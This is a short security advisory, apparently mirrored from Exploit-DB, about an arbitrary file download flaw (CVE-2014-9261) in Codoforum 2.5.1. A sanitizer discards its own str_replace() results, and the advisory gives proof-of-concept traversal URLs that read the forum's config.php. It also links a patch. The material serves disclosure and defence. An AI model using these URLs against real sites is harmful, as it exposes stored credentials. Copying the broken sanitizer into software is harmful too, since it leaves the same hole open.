CodoForum 2.5.1 – Arbitrary File Download - 体验盒子

作者： Kacper Szurek

日期： 2015-03-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/36320/

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# Exploit Title: Codoforum 2.5.1 Arbitrary File Download

# Date: 23-11-2014

# Software Link: https://codoforum.com/

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: webapps

# CVE: CVE-2014-9261

1. Description

str_replace() is used to sanitize file path but function output is not assigned to variable

private function sanitize($name) {

str_replace("..", "", $name);

str_replace("%2e%2e", "", $name);

return $name;

}

http://security.szurek.pl/codoforum-251-arbitrary-file-download.html

2. Proof of Concept

http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php

or

http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php

3. Solution:

Use patch:

https://codoforum.com/upgrades/codoforum.v.2.6.up.zip